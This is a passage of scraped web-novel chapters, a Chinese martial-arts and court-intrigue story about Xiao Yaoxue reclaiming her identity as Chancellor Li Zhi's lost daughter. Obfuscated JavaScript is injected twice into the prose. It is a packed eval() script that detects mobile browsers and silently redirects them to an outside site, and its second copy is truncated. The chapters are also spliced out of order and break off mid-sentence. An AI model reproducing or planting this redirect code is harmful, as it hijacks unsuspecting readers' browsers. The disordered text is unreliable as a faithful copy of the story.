圣旨一下，此案便没有再继续的理由了，季执礼也只得奉旨结案。但是入夜还是有只信鸽从季府飞出，将这些消息传到了潇湘阁。 再说城门外暴雨已经过去，洗净了这天地间的闷热，地上翻起一阵灰土的味道，远处的树林也愈显得清脆，只是这天空之上的乌云好像是还留恋这座城池一样，不忍散去，气氛略显凝重。 袁梅将茶钱放在桌上，抱拳向老板道了谢，二人起身，不急不缓地向城门走去。 进了城门繁华的街景映入眼帘，大雨过后的青石板泛着亮光，街边的小摊又搭起货摊继续经营起自己生意。整个京都充斥着雨后的清新。街道两边的屋檐还不停的滴着水，不少路过的倒霉蛋总会突然捂住脖子，擦拭滴水带来的寒气。这座城市似乎人人都在忙碌，只不过没人看得到这样忙碌的尽头到底是什么。 今日早朝有一些琐事，结束得略微晚了一些。正殿之外，身着紫色蟒袍的李治，正匆匆赶向宫门外，今日他朝堂之上，有朝臣进言，周围几县的赋税不合规制，圣人将此事交由宰相李治处理。眼见秋收时节将近，李治得加紧赶往税务司，查看相关记录，再做出合理的处置。 十年前李治一日得道升天，从一个尚书直接坐到了当朝宰相，朝内外对于这位一步登天幸运儿总是有着诸多议论，更不用谈他这些年做的荒谬事。李治刚升了宰相，就进言说，当今这稻子不好，说从南方来了一种好稻子，只用吃平时一半的量就可以饱腹，而且口感也远胜现有的稻子。而这种稻子口味和饱腹感确实不错，与御用的稻米相似，只是现在东梁这种稻米的种子太少了，所以价格昂贵。李治当时就一拍大腿，遣人去南方买了几百斤回来，降价卖给农户，再加上圣上推行的“革稻令”，要求这东梁境内只允许种植这样的稻子，李治在其中也是大赚一笔，不过自这件事之后，他就被挂上狗宰相的称号。李治如今虽说是权臣当道，不论是上位还是办事的手段，无不透露奸佞之风，但是好在贪赃有度，再加上做事谨慎，出手狠辣，参他的折子不少，但是却没有一封能把他拉下水。 兴许是今日走得急了，又或许是京城刚下过雨，地面反射着天光，李治的马车路过长街之时，马匹突然被什么晃了眼睛，不论车夫如何拉扯缰绳，就一个劲的在长街上横冲乱撞，再加上马蹄不断打滑后面的马车也被带动着四处乱撞。 这条长街也是京城最繁华的地带之一，沿街两边摊贩聚集，不仅要满足京都当地人的生活，就算是外乡人来了京都也要来这看看。可谓人多口杂，今日若这李相的马在这撞了人，恐怕明天弹劾当朝宰相长街纵马伤人的折子就要堆满了御书房了。正当马蹄高举，在一个小食摊前投下一片巨大阴影，摊主甚至来不及避让，只能眼睁睁的看着那马蹄即将落下。 忽然路边一道白影一闪而过，将小食摊的老板拉到一边，马蹄落下，虽是将摊位踩得一塌糊涂，但也好在无人受伤，眼见马儿又拧头冲向他处，另一道黑影挟着一张黑布略向马儿，在马头前一个闪身，避开马儿前冲，黑布一扬遮住马儿的眼睛，再翻身上马一拉缰绳，轻抚马背，终于是让马匹安静下来。 车内人显然也是惊魂未定，马车夫半天才回过神来，询问了自家主人的情况，李治冷静下来，看向车外的两女子，只见那黑衣女子身影潇洒，从马背上下来，揭开盖着马眼的黑布，同时在马儿耳边轻说说着什么好似在安慰马匹。而那白衣女子则是悉心的安抚路边的百姓，李治仅仅是看了一眼便移不开目光，白衣女子容貌与那自己十年之前去世的夫人太像了，而那一颦一笑，举手投足之间，他似乎又看到另一位故人的身影。李治只觉得一股热血冲上头脑，眼前走马灯似的放映着过去的日子，那个温柔贤惠的妻子，那个甜美的女儿。有那么几次他甚至现在就想下车拉住那女子好好问一问她的身世，可是待理智回笼，李治控制住了下车的冲动，毕竟这些年想借着他那“故去的”女儿接近自己的人实在太多了。 李治吩咐车夫感谢两位出手相助的侠客，然后加紧前往税务司。同时他吩咐车内面容与自己有五分相似的年轻男子言道：“安国，你去查查这两女子的身份，我看着不似京都之人。”李安国答应一声，便暗中下了车混入人群离去了。 车夫走近萧妖雪二人，表明谢意，问清她们所住的的客栈，许下之后必定登门道谢的约定便回到车前驱车离去。正当车厢与二女交错而过之时，李治与萧妖雪又对视一眼，两人都从对方眼中看出了一些不一样的情绪。 要说这李治的长子李安国，与李婉是同父同母亲兄妹，年纪上大了李婉五岁。虽说父亲李治是一个不折不扣佞臣，但是李安国却别没有一丝纨绔的意思，五年前李安国就被他父亲亲手送到边境，参与边境战争，在边境打磨了三年回到京中，能力已不容小觑，就被安排到了兵马司，做了一个小头目，按照他现在的发展，只要李治不倒台，掌管兵马司也不是痴人说梦。再加上这李安国面容俊俏，京都中不少女子都倾慕于他，如今也到了定亲的年纪，登门拜访的媒婆更是一个接一个。李治也寻思给他安排一门好亲事，只是这孩子似乎自从妹妹出事之后，就变得非常成熟，整日不是练武就是学习兵法，完全不给自己一点时间。之前王氏还因为安排亲事一事与李安国闹了不小的矛盾，可是不知何时开始，只要在说道成亲，李安国都只说，自己已经有了心上人，希望他们不要干涉。 待马车离去后，袁梅本打算招呼萧妖雪就此离去，却不料看到萧妖雪正在安抚那些受惊的群众。便也没多说，出手帮忙拾起散乱的货物后，袁梅之前严重怀疑萧妖雪就是一个全身上下掏不出一个铜板的穷光蛋，此时她竟然破天荒的掏出些银子分发给那些摊主，又以李相的身份说了些冠冕堂皇的好话，本来还有些许怨言的摊主拿了钱财也不再抱怨。袁梅疑惑已经压抑不住，直接就开口问道：“你不是没钱吗？” 萧妖雪讪笑道：“诶袁梅姑娘你这样说可就不对了，之前分明是你说来京都这一趟你买单作为我抓那黄耗子的报酬的，你怎么就能说我没钱了呢。” 这话说的袁梅却是挑不出毛病，毕竟之前确实是自己许下的承诺只是“那为何今天又不找我要了？” “那自然是因为我预感到很快会有人要给我们送钱了。”说完，萧妖雪看着李相远去的马车一笑。 谈话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556991|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间萧妖雪注意到原本一旁有一个卖鱼的摊主现在已经不知所踪了，袁梅吐槽到：“当时就是从这个摊位有好几道反光，有一道都晃到我眼睛了，我还寻思这卖鱼的又不卖刀，将刀磨这么亮是为了什么。”语罢两人环顾四周，却并未见那摊主的下落，两人也只得离去。看来京中这局势确实诡谲，恐怕连这一个卖鱼的都他们手上的一把刀。 二人就这样不急不缓的走向客栈，突然袁梅似想通了什么开口道：“妖雪，我一眼见你就知道你不是一般人，你来京都也定然不只是寻亲那么简单，但是这一路下来，我相信的人品，我们既是朋友，只要你需要我定会不遗余力。” 萧妖雪听到这话也还是展颜一笑，之前从茶铺离开时遗留在脸上的那一点点担忧也荡然无存了。只是袁梅万万没想到这第一个忙会来的如此快速。只是如今袁梅愿意交好，这也是萧妖雪想要的。便接着这话说道：“袁姑娘愿意这么说是妖雪的荣幸，你我皆非常人，袁姑娘以后要是遇到需要帮忙的是也尽管开口，我相信我们会合作得很愉快。” 说话间天空的阴郁也一扫而空，地面的水渍反射着天空的颜色，又为这座巨大的城池添上了一抹明亮。 李治处理完事后，就急急忙忙回了李府，李安国也早早的在父亲的书房等候。 “查得如何？”李治看起来是云淡风轻，感觉随口一问，但是只有李安国知道，父亲今日回府回得格外的早，进门水都没有喝一口，为的就是这一问。 “父亲，查到了，今日马儿受惊是因为被路边一个卖鱼的到晃了眼，但是事情才发生那卖鱼就跑，我已经吩咐人去找了，但可能……” “府上可有人前去善后？” 说到这个李安国有些尴尬的挠挠头道：“我之后特意带人去了，只是沿街的小贩说那两个女子已经给过修缮费，他们不能再收了。” “哦？”李治对于她们的这一举动确实有些惊讶，但是若是她们也合情合理。“已经善后就好。安国呀，你知道我最关心不是这个”确实李治一生的政敌无数，难免有人会给他想出这样的阴招，只要事后处理好，对他李治来说问题不大，而今日遇到这两人的身份才是他最关心的。 “父亲，二人的身份也已经查到，那黑衣女子叫袁梅来京都是退婚的，要说这退婚对象也是我们的熟人。” 李治言道：“赵江河？之前听他说他有一门指腹为婚的婚事。” 李安国回道：“正是赵江河，至于那白衣女子，就更是有趣，她叫萧妖雪，此次来京城是为了寻亲，据说她原来姓李。” 虽然对于这个答案李治已经做了心理准备，但是当听到李安国这样说，李治还是难免心中澎湃。 “这两人竟然是一起进京的，也不知道是造化弄人，还是事在人为呐。”李治苦笑道，旁边的李安国听得似懂非懂，他能猜到那白衣女子的身份，但是父亲这话又是什么含义。还不等李安国多想，李治便又说道：“安国，还要麻烦你跑一趟，估计管家已经准备好将给那两姑娘的谢礼送出去了，你去拦一下，让他们明天将两位女侠请到府上，我亲自道谢。还有明天你亲自去一找一趟赵江河，让他带着他的婚约来府上一趟。” “是，父亲” 京都的秋风吹在脸上凉凉的，但是却充满生机，让人在这风中都忍不住，想干点大事，却知就在考虑的时候，这风已经推着人走上了一条不归路。 袁梅小记：袁梅自幼生长在沿海的一个名叫长乐县的渔村。从袁梅记事起，她和兄长袁墨住在那，养父母家也有两个和他们年纪相仿的孩子，原以为作为被收养的孩子，他们的童年会过的很凄惨，但是他们这对养父母却恰恰相反，家里有什么好东西都是先给袁家这两兄妹，街坊邻居总说这家人傻，但是他们好似并不在意，到了上学的年龄，夫妻二人更是将袁墨送去当地最好的私塾，而袁梅不喜欢读书，则寻了附近一个宗门拜师学艺。好在兄妹二人都很成器，袁墨一路高中，考到京都。袁梅也拜了一个有名的大师为师。邻里只奇怪，这夫妻二人做了一辈子的渔民，哪来这般见识。 此次袁梅正好回家探亲，便听养父母说起她有一门指腹为婚的亲事，而她甚至连自己的母亲都没见过，现在竟然还要履行这门鬼扯的亲事，于是便借着游离之名来了京都。路上又看到了春闱放榜，兄长高中探花，若是不出意外应当能够留任京都。袁梅时机已然成熟，兄长的计划即将展开，自己这一趟京都去的正是时候。只是计划展开需要些时间，若是她过早现身还不合适，那纸婚书已经存在这么多年，现在看来也不急于一时，毕竟到了京都，摆平此事定然轻而易举，当然是相比于兄长的那些生死计划来说。 7. 木偶千金 京都李府，李治的妾室王氏坐在会客厅的主位上，下面站着一个十六七的女子，虽然看起来衣裳简朴，但是只要仔细观察可以看出这女子的容貌经过精心的打理，眉宇之间与李治有那么几分相似。 王氏问道：“你说你是当年李府走丢的千金李婉？你有什么证据证明？” 女子似乎感受到王氏气场，有些胆怯地说道：“是的夫人，当时我路遇歹人行刺，侥幸逃出生天，被一对农家夫妇收养，但奈何所居之地太过遥远，养父母身体欠佳，我给他们养老送终之后，才孤身一人来到京都，希望认祖归宗。若是夫人不信，我可以与李大人滴血认亲。”女子所言诚恳，说话间语气竟然已经带上了哭腔。本以为这样或许就能换来就能换来更多的同情，不了王氏只是冷冷的说了一句：“姑娘别费那心了，我家老爷也不是天天这么闲，可以和你们挨个滴血认清的。李婉十年前就已经死了，李府也再也不可能会有一个叫做李婉的千金了。来人送客。”说罢便起身要走。 女子看到入豪门无望，便歇斯底里地说道：“说什么李婉死了，我看你就是因为做不了正室，所以根本不想李婉被认回来，要是李相知道你有如此歹毒的心肠，不知道会怎么想。” 王氏却不以为意，挥挥手示意手下把这女子给拖出去，在她被拉走的一路上还是满嘴谩骂，王氏只心想，如此为人就算真的是李婉，现在也不配再回到李府，更别说李婉已经死了，这可是老爷亲口说的，又怎么会错得了呢。 王氏转头对着身边的仕女问道：“这是今年第几个？” 仕女扳着指头数了数回到：“回夫人，已经是第五个了。” “这才开年不久，就这么多了，这样也不知道什么时候是个头。” 离了凉山县，萧妖雪一路向京都前行，内心确是响起昨夜与萧云雁告别之时她所说的话，师傅说说了两件事一是让她记得此去京都她需要一个名正言顺的身份，那么对于萧妖雪来说认祖归宗回到李家一定是最好的选择，也是她这些年一直期待的。只是这些年通过卷宗对李治了解，萧妖雪觉得自己对这个父亲有些陌生，似乎在他眼中价值大过了一切。而萧云雁嘱咐的另一件事便是京都之中只谈生死不谈爱恨，这句说萧妖雪昨夜就咀嚼了很久，但是总觉得其中还有内涵看不清。 虽然萧妖雪自那年之后再也没有进过京都城，但是从凉山到京都的路她却反反复复走了好多次。距离不远，沿途都有村落可以打尖住店，萧妖雪为了遇人，这次并没有骑马，而还是不急不缓走上官道。时近傍晚，日薄西山，也未有寻找客栈的意思，夏日的天气炎热，倒也不必特意寻一处旅店，再花着冤枉钱，萧妖雪也不似萧云雁那般喜欢落脚于青楼之类的地方，于是顺路走进一片树林，翻身上树，在一根比较粗壮的树枝上就歇下了。时近黄昏，树林中已经彻底黑了下了，若是在寻常人眼中这树林就是黑得伸手不见五指，不过萧妖雪经过这几年练气养身，耳力目力已是超乎常人，在这树林里，哪怕是树枝上的夏蝉也是看得一清二楚。 这一路过来，萧妖雪就听闻说最近这边很多难民，似乎是因为西边的匪患猖獗，所以不少有能力离开人，就跑到了京都附近落脚。但是随着难民而来，还有一些心术不正之人，最近这一地待小偷小摸的人越来越多，甚至还有入室行窃之徒，当地官府为此也是操碎了心。 正当萧妖雪正准备休息，本应安静的树林中却传来脚步声，若再仔细听，会听到树林外还有人群的喧哗。此次离谷萧妖雪有了师傅的嘱托，在见到李治之前她不想多事，所以不想凑这热闹。 可往往就是人不找事，但是事会招人。正当萧妖雪隐去气息准备休息之时，萧妖雪感知到不过树林的不远处有一股气息，那人气息沉稳，步伐有力，也应当是一习武之人，不过似乎有一丝慌乱，恐怕是在这树林子里迷了方向，不过按那人的实力应当不一会也能抓住毛贼。不过看着火光越来越近，显然今夜他们并不将希望寄托在林子那位高人身上，今天晚上他们不亲手抓住这毛贼是不可能放过这片树林的宁静，如此看来这树林今晚是待不得了。 正当萧妖雪准备离开，一道黑影从眼前窜过，这样的身法不难看出就是江湖上那种名不见经传的飞贼，恐怕是从哪里偷师了一套轻功，气息凌乱，显然学艺不精，也就是骗骗那些平民百姓。但是话又说来，听远处那群人的说话气息，也显然不是练武之辈，一时半会是很难发现得了这半瓶醋的小毛贼，而他们口中却隐约喊着袁女侠，这个袁萧妖雪猜应当就是袁清的袁。 既是如此，萧妖雪突然灵光乍现，飞身下树，向着毛贼逃跑的方向追了过去，转眼间便到了毛贼身后，一个擒拿便将这半瓶醋撩翻在地。 “晦气，怎么又一个。”毛贼见状暗骂一声，但在感受自己已无逃脱可能时，便开始连声求饶：“英雄、好汉求求你放了我呀，我一家老小逃难到此处，就这点活计，求求你给个生路，你要什么我都给你。” 听口音这飞贼确实是从西边来的，但是此人却贼眉鼠眼的，恐怕之前在老家也是靠这手艺谋生。萧妖雪看了看他身上的口袋，满满当当装着他今天的战利品，里面不少是当地百姓过活的命根子，只是于她而言却值不了几个铜钱。 “我问你答，别给我说那些没用的。”萧妖雪懒得废话，边说便把这毛贼吊了起来。 “诶诶，女侠你别绑我呀，我什么都说，我什么都说。” “西边出什么事？” “西边？西边来了伙强盗，倒也不伤人，就整天在那里大漠里游走，动静挺吓人。我家八十岁的老母亲都不小心被他们的马踹到，现在腿还瘸着，所以我这不是摸点金创药给她老人家用用。还有我家那小儿子，他之前被……” 正经的消息他就说出个西边来了匪徒，其他有用的是一句都没说。此事胡笳城湘湘阁传回谷中的消息也有提到，但是只是寥寥数语，感觉并不是什么严重的情况。而且近些日子似乎已经好了很多。 不想再听这毛贼喋喋不休，萧妖雪拿了块破布把他的嘴给堵上，不给他支支吾吾的时间。就在这时萧妖雪感受到树林的黑暗之处的那道气息突然逼近，显然刚刚抓飞贼的动静给了林子里那位一个方向。 眨眼的功夫树林中就冲出一女子，女子身着黑色衣袍，头发高高束起，腰间垮着一把弯刀，面容姣好，弯眉大眼，在那胭脂榜上虽然排不上前十，但是这容貌却不似那种深闺大院中的女子总是带着一分哀愁几分算计，反倒是有那种男子身上的豪气，看起来就是干练之人。女子人未到而声音先至，她扬声道：“黄耗子，你挺能窜的，你跑呀，今天你姑奶奶我非叫你去见见那青天大老爷长什么样。”话音落时她也站定，看到她所说的黄耗子已经被人反手绑好挂在了树上，旁边站着的素裳女子女子，正在上下打量着她。 本来就要得手的猎物就被人捷足先登了，黑衣女子有几分不爽，但不是江湖气结告诉她，都是对抗贼人，此等好事不应分你我，至于眼前这人看起来气息平稳，应当是习武之人，之后可以再找个机会和她好好切磋。于是抱拳说道：“多谢姑娘出手相助，在下袁梅，敢问姑娘怎么称呼。” 萧妖雪看看地上财物又抬头看看那黑衣女子道：“在下萧妖雪，袁姑娘我替你抓了贼，你是不是应该给我一点谢礼？” 袁梅显然被这一上来就开口要钱的帮助震惊到了，又感觉现在拒绝也不太好，呆愣愣的开口道：“那是……自然，萧姑娘要什么？” “我要去京都，但是一路上孤身一人甚是无趣，不知袁姑娘可否与我一同前往？” 袁梅心中疑惑，她行走江湖有一段时间，对方身手不凡，但似乎对自己并没有恶意，只是不知道为何她好似知道自己的目的就是京都。那她会不会还知道些其他的。不过袁梅向来行事坦荡，萧妖雪帮了自己，而且她也只是要求同行，自己只需要注意好言行应当无妨，这一路还可以顺便打听打听对方什么来头。毕竟以后要在京都做的事，她还是需要些帮手。 “萧姑娘的要的这谢礼还真是独特，我恰巧也去京都，我们便同行就好，至于谢礼……这路上的钱我出了。” “袁姑娘大气！” 二人一拍即合，又看看被吊在树上的黄耗子，听见远处村民的脚步越来越近，其中还有官差办案的声音混杂其中，当下，便决定不再去理会吊在树上的黄耗子，二人直接相继走出树林。 此时夜已经过半了，二人走出树林后并未再寻地方休息，而是借着月色继续赶路。 袁梅看气氛尴尬便开口问道：”萧姑娘你此番进京是有何要事？“ 萧妖雪回道：“我是去寻亲的，我自幼和父母走散，幸得师傅收养，才得以活到今天。妖雪大胆猜测袁姑娘是去退亲的吧？” 袁梅心中一惊问道：“你似乎知道很多？” 萧妖雪微微一笑：“你方才打水时打开包裹，我看到了里面的婚书，这女子带着婚书进京无非就是找男人兑现承诺又或者销毁承诺。我看袁姑娘性情洒脱，定然是不想被这父母之命，媒妁之言困住。所以我猜你是去退婚的。” 虽然这个解释也是合理，但是袁梅的警惕又升高几分，不禁岔开了话题：“之前在树林中就看出萧姑娘身手不凡，刚刚又听萧姑娘说已经拜师学艺，不知师从何门？” 萧妖雪却不避讳说道：“我在潇湘阁学的艺。想必现在袁姑娘的疑惑都可以解释了吧。” 袁梅听到这话也是松了一口气，当时自己在外游历，兄长就多次嘱咐，这个江湖谁都不可以信，若是有求便去潇湘阁花钱。如今对方是潇湘阁的人，之前的戒心也放下了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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袁梅为人豪爽，听到萧妖雪这经历就深感同情，都没来得及多想，便立下豪言一定要帮她寻到亲人。 莫大江湖，二人便这样一拍即合，相伴前往京都，本欲想着一鼓作气进了京都再休息，奈何天公不作美，看到京都那巍峨的城墙之时，也看到了盘踞在京都顶上的黑云。正值夏末秋初之时，雷雨天气来得突然，眼看暴雨将至，二女也不着急赶路，寻了路边一茶摊坐了下来。点了一壶清茶，便听旁桌谈天说地。那人也是话多，一开口便滔滔不停从哪家哪家千金要出嫁讲到京城哪家的豆腐脑味道最好，从有什么官员新上任讲到那个地痞无赖被打了一顿，这些个新鲜事听起来已经是经过不知道少的加工，就只是一听一乐而已。眼见雨势渐小，萧妖雪二人正准备起身离开，不料旁桌又来一嗓子：“不是我说你呀，现在这京官不好做了，你看看春闱上榜的那几个没有靠山的，谁的官好做，那都是发配边疆的苦活。你都三十好几了，就别老想着这发财的路子了，你虽然之前确实去拜会过李相，但是呢现在京中这镇远大将军要回来，那李老狗的好日子要到头了，两个人还不知道要怎么斗呢，你现在去考这京官，不妥妥的找不自在吗？要我说呀你还不如……”萧妖雪和袁梅都是一愣，这食客口中的李老狗自然是指前些年一步登天的宰相——李治。 萧云雁小记：书接上回，说道萧云雁掷下十两黄金买那耍猴棒会输，这消息很快就传遍了镇子，但是眼看已经快到最后公布的时刻了，却还是无人战胜耍猴棒，不少押注他会赢的人心中已经乐开了花。眼看太阳西斜，玄宗的人已经开始准备之后的事情了，擂台前也是人影稀疏。却有一人缓步来到擂台前，本来懒懒散散的几人，看到来人是一女子，也提不起一点兴趣。可下一秒，那女子尽然翻身上了擂台，高声喊道：“在下萧云雁，前来攻擂。” 声音落下，却并未得到回应。 “在下萧云雁，前来攻擂。” “在下萧云雁，前来攻擂。” 连喊三次，声声入耳，终于把那耍猴棒给叫了出来。 看到来人是一女子，耍猴棒也是非常不屑道：“这都最后了，小娘子我看你也别费力了，这擂台是比武的，不是比琴棋书画，吟诗作对的。”这话说完台下人群中也是一阵嬉笑。而却唯独有两人没有笑，一人便是昨日酒肆中那人，而另一人看起来年纪更小，但是自从萧云雁上了擂台，他的眼睛就再也没从她身上离开过，那眼神中不是对女子的爱慕，而全全是对武学的渴望。 萧云雁看着对方这般模样，心中难免火气上升。缓缓地长剑出鞘，一句话带着气息便压迫过去：“现在可以开始了吗？” 身旁的裁判才略微点头，便见一道白光划过擂台，耍猴棒反应不慢，抬棍抵挡，但是在与白光接触的下一秒就远远的飞出去了。手中棒子更是断做两节。 此时台下原本骚乱的人群已经安安静静。唯独之前没有笑的两人却同时带头鼓掌叫好。 之后萧云雁去了赌坊，拿到近十倍的赌金，却没拿玄宗的战利品。之后乘着月色便离开了镇子，只是她也带走了一个小尾巴。 8. 木偶千金2 李管家是李府的老管家了，在这里干了这么多年，早就与那些普通杂役有了天壤之别。对于李府中几位大人行动是了如指掌，还未等李治吩咐，送两位姑娘回去的马车早就已经准备好停在门外。时间不会太早，让他人觉得李府待客不周，也不会太仓促，让客人在大门外等候太久。 待赵、袁二人行至正厅时，萧妖雪与李治也是踏出正厅门栏，李治再度谢过二人，便差了李管家送走二人。马车上李管家突然开口，声音略显干涩嘶哑道：“这次真的多亏了二位相助，不然我家老爷在朝堂上免不了一顿弹劾，二位是李府的贵客，以后若有需要，尽管上李府来，只要不是什么违法乱纪之事，李府一定在所不辞。”二女也是笑着应下，但是萧妖雪经过与李治的一番谈话后，看着管家也是透着一丝古怪，他的行动缓慢，四肢僵硬，动作起来像是一个提线木偶一般。身上的衣服应该是为了防虫有一股很的花椒味。嗓子干涩，说话语气虽有起伏，但是还是略显干涩。最关键的是细看这管家，他身上竟然透着一丝死气。 下了车袁梅也关注到萧妖雪刚才对管家的打量，问到：“你感受到了？这个管家有些奇怪。” 萧妖雪道：“听说这个管家早年受过伤，估计是那伤留下的后遗症吧。对了袁梅，今日起我去李府，认亲之事已大概有了着落，但是之后我认祖归宗的时候还希望你能帮我一个忙。”萧妖雪并未与袁梅深入谈到李管家的奇怪之处，而是将话题一转。 袁梅听闻惊奇的问道：“你找到你亲人了？” 萧妖雪微微一笑道：“不错，之前并未与你说我原名就叫李婉。” 李婉？袁梅心中一惊，之前来京都之时兄长就嘱咐过自己，李相的千金已经死了，这些年有不少想认祖归宗都被李治拒之门外。难道就因为萧妖雪帮了他一次，他就妥协了？还是说萧妖雪当真是李治的亲生女儿。当年父亲与李家交好，鬼月落难一开始李家一直出手相助，就算当时朝中反对的声音日益渐响，但是就算到那一步李家都还是坚定的站在鬼月这边。直到突然有一日，李家的千金李婉遇刺，生死不明，李治突然反水，大肆撕咬鬼月，也就是在那时鬼月真的无路可退彻底暴露在阳光之下。那如今若萧妖雪真是李婉，她将会是揭开旧案的关键一步。 此时二人已经走到房间门口，萧妖雪开门将袁梅引到自己房间，关好房门。将今日与李治认亲的和袁梅简单讲了一遍，略过了其中谈及刺杀的古怪之处，只是说自己当时遇袭走散，如今回到李府恐怕会有人从中作梗，希望袁梅在在此中帮自己一把，并将之后的计划也毫无保留全盘托出。 至于袁梅虽然她知道兄长于此事定然有他的盘算，但是自己刚进京都的时候就答应了萧妖雪，如今对方有求，自己定然不能食言，而且这层关系是福是祸还未尝可知。而且此时，兄长与自己的那层身份还未揭示，如此不合常理的行为也确实不合适。 之后关于萧妖雪认祖归宗一事便有序的展开了，李府办事也不拖泥带水，过了几日就放出来要将流落在外女儿认回的消息，认祖归宗的仪式就定在放出消息的后一天，萧妖雪和袁梅也在消息放出之时，搬离了客栈，隐匿于这偌大京城之中。 到了那日傍晚，天空中飞着小雨，路人撑着油纸伞步履匆匆，李府门前挂上了大红灯笼，家丁进进出出张罗着那些手持请帖的贵客，一副喜气洋洋的景象。李治带着李安国在前院应酬，京中许多达官显贵前来恭贺，至于这些人是抱着什么样的心态来的，或许只有他们自己心里清楚。 司空颜这次前来参加李家的宴会拿得是徐战的请帖，徐战与李治同朝为官，就算内心总想着对方不得好死，但是都是有头有脸的人，家里有这样的大事请帖是少不了的，而且看在同朝为官的份上，一般也会亲自到场。但是这次徐战原定的回京计划竟然推迟了，本来可以参加的宴席也只能派门生司空颜前来参加。司空颜作为兵马司的正职，来参加这样的宴会确实是高攀了，但是他作为徐战的门生，来参加却是恰好不过，即给了李治面子，又给了自己刺探消息机会。 果不其然，身旁的宾客就开始低声讨论起来“你说李家这些年这么多人回来认清他都不认，怎么今个就突然认回来一个。” “要我说呀，李相人家肯定是知道自己闺女啥模样，那些人怎么对。” “我看可不见得，听说这个妮子会武功呢，身手不错。这李治恐怕是听着徐大将军回来了，他害怕了。” 司空颜心想，果然想从这些人口中听出什么道理是没机会的，还是等着这个千金露面再好好地试探试探吧。 此时宾客已经一波接一波地到了，李治的妾室王氏带着幼子李无忧在厅堂张罗布置。这次子李无忧是在李婉母亲去世后，李治与妾室王氏所生，现在还未满十岁，在读书方面是一窍不通，生性顽劣，今日这热闹的场景他最是精神，小孩子不认生，听说家里要来一位姐姐，只觉得以后又有人陪他玩了，不用看着府里那些已经看腻了面孔，更是欢喜的不得了。这李无忧虽说是顽劣但是在摆弄刀枪剑戟上却展现出一点过人的天赋，在他刚出生时，就有江湖上的大师来看过了，说此子命中带煞，将来若是入得武林必定是一号人物。这话李治也并未当回事，毕竟自从自己富贵之后，来攀附的数不胜数，他只认为，若是李无忧成器那就送他习武，若是他不成李府也有能力养他一辈子，一辈子无忧。 不一会一架马车停在李府门前，车上走下来一个华服女子，头戴斗笠看不清面容，身旁跟着一个侍女，面目低垂。这女子华服同样是一匹水纹锦，颜色却是宝蓝色，随着女子一步一摇仿似正将一湾春水穿在了身上，搭配头上的银簪叮咚作响，就似那山间溪泉汇入湖中，又给增添了一份灵动。人们的目光都被那华服女子吸引，无人在意旁边的侍女。待二人下车站定后，李府家丁点燃了大门两侧鞭炮，声响震天，好不热闹。鞭炮放完，烟雾还未散去，侍女搀扶着李府千金，走进李府大门，李治也亲自迎了出去，这要知道，就算当年李安国从边塞回来都没有得到父亲这样迎接，可见这女儿在父亲的眼中是何等重要。 眼见父女二人已经走得很近了，李府围墙之上几道黑影跃下，一刀直刺华服女子后背，而另外几人则慢着道黑影一步，在众人惊诧的目光中集体围攻李治。就看见华服女子反手一挡挡住那黑影的攻势，黑影一击未中，迅速向后掠去。华服女子也被震退几步来到了李治身边，围攻李治的黑影中，见华服女子背向此方，直接一刀捅进华服女子的后背，只是这刀才穿过华服，黑衣人就觉查出事情的不对劲，那刀尖刺道的好似不是人体，而是一块木头，只是未等那黑衣人反应，华服女子“咯吱”便倒地不起。见华服女子倒地，李安国等人离李治也有一段距离，人群熙攘也一时无法来到李治身边，几个黑衣人立刻对李治展开了攻势，而此时跟在华服女子身边的那名侍女也突然暴起，递出几道道凌厉的掌风递出，震退了已经逼近李治的黑衣人，那些黑衣人见一击不能得手，李安国以及护卫已经穿过人群向着他们逼近，便默契的飞身后退，向着院外冲去，正当他们靠近院墙时之间一名素裳女子与院墙之上挡住他们去路周身气息牵引着一些碎片，如流萤般飞舞，若仔细看，这些碎片之间有若隐若现的细丝牵引，眼见黑衣人靠近，素裳女子牵动气息，引导那些碎片直冲黑衣人面门，那些黑衣人急忙挥剑格挡，但是在剑即将集中碎片时，那些碎片出其不意的变了方向，飞速的挑断他们的脚筋，而后素裳女子一挥，气息磅礴涌出，将几人纷纷击回落回院内。 人群中的司空颜也是一惊，李府传出要办认亲宴的消息那是三天前，这个女儿正是前几天在长街救了李治的女子的这个消息是昨天才风靡京都的，这些黑衣人行动很明显准备不足，看来这李家父女早就打算好了这一局的玩法，只等着鱼儿上钩。现在想来当时自己接到消息时，还问过徐大人要不要出手除掉这女子，还好徐大人高瞻远瞩。不然今日落人口舌的就是自己了。只是若不是徐将军出马，这京都中又有谁有这个胆子，敢出手行刺当朝宰相呢？ 此时李安国等人已经确认好李相的安全，见黑衣人跌落，也纷纷围了过来，可一经检查，这些黑衣人无一例外都服毒身亡了。素裳女子从墙头飘然而下，来到李治身前恭敬行了一礼。此时众人刚刚从方才的斗争中回过神，难道说这李相刚迎回来的女儿就这样被杀了，李相似乎也并没有很生气难道这都是他谋划的一出戏吗？这不是把他们这群人当猴耍。 李治看了一眼倒在地上的华服女子，亲自上前揭下了她的斗笠，众人这才看清，这哪是一个女子，这就只是一具木头人，只是身上包裹了布料比较厚，加上制作者对于关节的连接别具一格，使得它走了这几步竟没人发现这是一具木偶。此时站在人群中的赵江河也是嘴角微微一扬，看来他对这件作品很是满意。 当时听李治转述了木偶千金的计划，赵江河就觉得这其中妙得很，就如同一个机巧一般，少了哪一步都不能成功。而且更妙的是，此事还需要和袁梅合作。 